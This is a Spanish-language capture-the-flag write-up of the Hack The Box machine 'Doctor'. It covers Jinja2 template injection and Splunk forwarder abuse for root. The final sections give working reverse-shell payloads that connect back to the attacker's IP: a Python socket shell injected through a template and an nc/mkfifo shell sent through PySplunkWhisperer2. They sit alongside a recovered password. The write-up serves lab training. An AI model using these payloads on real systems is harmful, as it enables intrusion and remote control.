Hackerñol CTF Demostraciones - Hack The Box - DOCTOR - [Edición de prueba][Spoilers] intro al htb battlegrounds
Hackerñol Para Hackers en Español
Hackerñol CTF Demostraciones [Edición de prueba]
intro al htb battlegrounds
[nota] Se que esta maquina aún esta viva, pero es muy facil, lleva un huevo de tiempo y ya la van a retirar por lo cual el que no quiera espoiler que no vea el video leas abajo. [nota2] Me he dado cuenta que me faltan 4 m de video que no meti al editar, nada importante pero se ve como encuentro el directorio con find de splunk y miro en el interior para ver que hay raro, y de hay busco en internet, lo demas ya si sale. recuerdo que estamos en pruebas :) muchas cosas salieron raras por que estaba atento a la grabacion mas que a lo que se estaba haciendo. poco a poco.
CTF:
- Hack The Box
Nombre de la maquina:
- DOCTOR
Sistema Operativo Local
- Blackarch GNU/Linux
Comandos:
- chikienumerator -t 10.10.10.209
- nmap -sV -v -p- --min-rate=10000 10.10.10.209
- sudo echo "10.10.10.209 doctors.htb" >> /etc/hosts
- zaproxy
- LinPeas: yay -S aur/peass
- curl
- python -m http.server 8082
Enlaces:
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
Nivel del objetivo:
- muy facil
En resumen:
- Encontre un "Server Side Template Injection" - SSTI
- tipo de Jinja2 Injeccion basica
- Exploit del SSTI con un payload de payloadallthethings
- vi el password en: /var/log/apache2/backup y con eso user.txt
- Splunk Universal Forwarder (UF) mal configurado
- busqué por vulnerabilidades y encontre script python.
- script: PySplunkWhisperer2_remote.py para shell de root
Pasos para complementar video:
- test 1
title
<h1>hello</h1>
content
<h1>hello</h1>
- test 2
title
</title></item>{{7*'7'}}
content
</title></item>{{7*'7'}}
Vale el field de arriba es vulnerable pero SOLO cuando ponemos html antes...
explotación:
abrir nc en 6667
PAYLOAD:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.21\",6667));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
ver en: /archive
enumeracion...
en /var/log/apache2/ esta el fichero backup
solo lo puede ver root y adm PERO usuario "web" esta en el grupo "adm"
cat backup | grep pass
"POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
-> Guitar123
password para "shaun"
hacer
su shaun
areglar shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat user.txt
subir LinPEAS
encontramos splunkd corriendo....
https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/ https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
abrir nc en 6668
python PySplunkWhisperer2_remote.py --lhost 10.10.14.7 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/rek2;mkfifo /tmp/rek2;cat /tmp/rek2|/bin/sh -i 2>&1|nc 10.10.14.7 6668 >/tmp/rek2"'
y a volar Happy Hacking
498333107 Bytes